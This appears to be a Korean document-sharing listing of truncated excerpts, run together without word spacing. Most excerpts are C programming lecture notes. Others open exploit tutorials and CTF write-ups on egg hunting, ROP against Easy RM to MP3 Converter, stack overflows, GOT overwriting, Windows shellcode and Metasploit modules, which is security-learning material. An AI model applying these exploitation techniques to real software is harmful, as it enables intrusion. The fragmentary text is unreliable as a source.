앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수
More informationEureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger
익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity
More information제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.
제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터
More information구조체정의 자료형 (data types) 기본자료형 (primitive data types) : char, int, float 등과같이 C 언어에서제공하는자료형. 사용자정의자료형 (user-defined data types) : 다양한자료형을묶어서목적에따라새로운자료형을
(structures) 구조체정의 구조체선언및초기화 구조체배열 구조체포인터 구조체배열과포인터 구조체와함수 중첩된구조체 구조체동적할당 공용체 (union) 1 구조체정의 자료형 (data types) 기본자료형 (primitive data types) : char, int, float 등과같이 C 언어에서제공하는자료형. 사용자정의자료형 (user-defined
More informationEureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg
익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg
More informationMicrosoft PowerPoint - chap06-5 [호환 모드]
2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.
More informationMicrosoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100
2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack
More information익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost
익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional
More information2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다
2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시
More informationMicrosoft PowerPoint - chap10-함수의활용.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과
More informationKNK_C_05_Pointers_Arrays_structures_summary_v02
Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",
More information이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2
제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.
More informationLevel 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard
Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting
More informationChapter #01 Subject
Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned
More information<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A
강연소개 Exception Handler 를통한에러검출및수정 디버깅을즐겨하십니까..? 에러를만나면반갑습니까..? 전화로버그보고를받았나요..? 잡히지않는버그!!!! 따분한강의 졸아도좋습니다!!!! 강연자소개 테스터 온라인게임클라이언트개발 로컬라이즈및해외지원업무 디버깅, 최적화, 호환성향상에관심 강연대상 x86 환경에서 Windows 프로그래밍 디버깅 / 에러추적은
More informationCogame 취약점 보고
Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6
More informationReusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn
Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link
More informationMicrosoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]
Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)
More information임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수
More information<4D F736F F F696E74202D20C1A63137C0E520B5BFC0FBB8DEB8F0B8AEBFCD20BFACB0E1B8AEBDBAC6AE>
쉽게풀어쓴 C 언어 Express 제 17 장동적메모리와연결리스트 이번장에서학습할내용 동적메모리할당의이해 동적메모리할당관련함수 연결리스트 동적메모리할당에대한개념을이해하고응용으로연결리스트를학습합니다. 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것
More informationNo Slide Title
Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea
More informationActFax 4.31 Local Privilege Escalation Exploit
NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13
More informationMicrosoft PowerPoint - a10.ppt [호환 모드]
Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는
More information본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo
본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한
More informationBMP 파일 처리
BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)
More information슬라이드 1
6-1 리스트 (list) 란순서를가진항목들을표현하는자료구조 리스트를구현하는두가지방법 배열 (array) 을이용하는방법 구현간단 삽입, 삭제시오버헤드 항목의개수제한 연결리스트 (linked list) 를이용하는방법 구현복잡 삽입, 삭제가효율적 크기가제한되지않음 6-2 객체 : n 개의 element 형으로구성된순서있는모임 연산 : add_last(list,
More informationhow_2_write_Exploit_4_the_MSF_v3.x.hwp
Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기
More informationAPI 매뉴얼
PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned
More informationC++ Programming
C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout
More informationChapter 4. LISTS
C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or
More information02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C
02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())
More informationMicrosoft Word - UFuz3 분석.doc
파일퍼저 UFuz3 분석 이용일 (foryou2008@nate.com) 2008-07-26 0. 개요 UFuz3 는 eeye 에서공개한파일퍼저입니다. UFuz3 의기능분석및상세분석을통해, 퍼저는어떤모 습을갖추고있는지, 또한퍼저는내부적으로어떤방식으로동작하는지살펴보려고합니다. 1. 기능분석 UFuz3 는파일을파싱하는루틴내에 Integer Overflow 가존재하는지를검사합니다.
More informationPowerPoint Template
10 포인터 1 주소 Address( 주소 ) 메모리에는그메모리의저장장소의위치를나타내는주소값 주소 (address) 는 1 바이트마다 1 씩증가하도록메모리에는연속적인번호가구성 2 주소연산자 & & 변수 변수의주소값을알아내려면변수앞에주소연산자 & (ampersand) 를이용 주소값이용장단점 주소값을이용하면보다편리하고융통성있는프로그램이가능 그러나복잡하고어려운단점
More informationPowerPoint 프레젠테이션
Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐
More informationPowerPoint 프레젠테이션
Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여
More informationMicrosoft Word - FunctionCall
Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack
More informationPowerPoint Presentation
객체지향프로그래밍 오류처리 손시운 ssw5176@kangwon.ac.kr 오류메시지를분석한다. 오류메시지에서많은내용을알수있다. 2 디버깅 디버거를사용하면프로그램에서쉽게오류를감지하고진단할수있다. 디버거는중단점을설정하여서프로그램의실행을제어할수있으며문장 단위로실행하거나변수의값을살펴볼수있다. 3 이클립스에서디버깅 4 이클립스에서디버깅 5 이클립스의디버깅명령어 6 예외처리
More informationMicrosoft PowerPoint - 제11장 포인터(강의)
쉽게풀어쓴 C 언어 Express 제 11 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 1003 1004 1005 영화관 1002 1006 1001 포인터 (pointer) 1007 메모리의구조
More informationPowerPoint Template
10. 예외처리 대구가톨릭대학교 IT 공학부 소프트웨어공학연구실 목차 2 10.1 개요 10.2 C++ 의예외처리 10.3 Java 의예외처리 10.4 Ada 의예외처리 10.1 예외처리의개요 (1) 3 예외 (exception) 오버플로나언더플로, 0 으로나누기, 배열첨자범위이탈오류와같이프로그램실행중에비정상적으로발생하는사건 예외처리 (exception handling)
More informationMicrosoft Word - SEH_Overwrites_Simplified.doc
SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.
More informationMicrosoft Word - Static analysis of Shellcode.doc
Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force
More informationChapter ...
Chapter 4 프로세서 (4.9절, 4.12절, 4.13절) Contents 4.1 소개 4.2 논리 설계 기초 4.3 데이터패스 설계 4.4 단순한 구현 방법 4.5 파이프라이닝 개요*** 4.6 파이프라이닝 데이터패스 및 제어*** 4.7 데이터 해저드: 포워딩 vs. 스톨링*** 4.8 제어 해저드*** 4.9 예외 처리*** 4.10 명령어 수준
More informationPowerPoint 프레젠테이션
KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된
More informationLab 3. 실습문제 (Single linked list)_해답.hwp
Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.
More information취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환
취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple
More informationMicrosoft PowerPoint - chap13-입출력라이브러리.pptx
#include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,
More informationMicrosoft PowerPoint - 8ÀÏ°_Æ÷ÀÎÅÍ.ppt
포인터 1 포인터란? 포인터 메모리의주소를가지고있는변수 메모리주소 100번지 101번지 102번지 103번지 int theage (4 byte) 변수의크기에따라 주로 byte 단위 주소연산자 : & 변수의주소를반환 메모리 2 #include list 8.1 int main() using namespace std; unsigned short
More informationFrama-C/JESSIS 사용법 소개
Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie
More information<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >
10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절
More information1.hwp
윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)
More informationMicrosoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드]
Chapter 03 변수와자료형 2009 한국항공대학교항공우주기계공학부 (http://mercury.kau.ac.kr/sjkwon) 1 변수와자료유형 변수 프로그램에서자료값을임시로기억할수있는저장공간을변수 (variables) 변수 (Variables) 는컴퓨터의메모리인 RAM(Random Access Memory) 에저장 물건을담는박스라고생각한다면박스의크기에따라담을물건이제한됨
More informationReturn-to-libc
Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.
More informationMicrosoft PowerPoint - 제9강 문자열
제11장 문자열 문자열정의 문자열과포인터, 문자열과배열 2 차원문자열배열, 2 차원문자열포인터 문자열함수, 헤더파일 string.h ctype.h strlen(), strcat(), strcpy(), strstr(), strchr(), strcmp(), strtok() getc(), putc(), fgetc(), fputc(), gets(), puts(),
More information학습목차 2.1 다차원배열이란 차원배열의주소와값의참조
- Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]
More informationMicrosoft Word - GOM-StackOverFlow.doc
GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.
More informationMicrosoft PowerPoint - 제11장 포인터
쉽게풀어쓴 C 언어 Express 제 11 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 1003 1004 1005 영화관 1002 1006 1001 포인터 (pointer) 1007 메모리의구조
More information목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2
제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해
More informationMicrosoft PowerPoint - chap11-포인터의활용.pptx
#include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에
More informationMicrosoft PowerPoint - chap03-변수와데이터형.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.
More informationMicrosoft PowerPoint - a6.ppt [호환 모드]
이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT
More informationEvernote Export
Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역
More information문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에
문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte)
More information리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을
리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석
More information목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드
취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...
More information슬라이드 1
UNIT 16 예외처리 로봇 SW 교육원 3 기 최상훈 학습목표 2 예외처리구문 try-catch-finally 문을사용핛수있다. 프로그램오류 3 프로그램오류의종류 컴파일에러 (compile-time error) : 컴파일실행시발생 럮타임에러 (runtime error) : 프로그램실행시발생 에러 (error) 프로그램코드에의해서해결될수없는심각핚오류 ex)
More informationMicrosoft PowerPoint - [2009] 02.pptx
원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include
More informationPowerPoint Presentation
객체지향프로그래밍 오류처리 손시운 ssw5176@kangwon.ac.kr 오류메시지를분석한다. 오류메시지에서많은내용을알수있다. 2 디버깅 디버거를사용하면프로그램에서쉽게오류를감지하고진단할수있다. 디버거는중단점을설정하여서프로그램의실행을제어할수있으며문장 단위로실행하거나변수의값을살펴볼수있다. 3 이클립스에서디버깅 4 이클립스에서디버깅 5 이클립스의디버깅명령어 6 예외처리
More informationLab 4. 실습문제 (Circular singly linked list)_해답.hwp
Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular
More information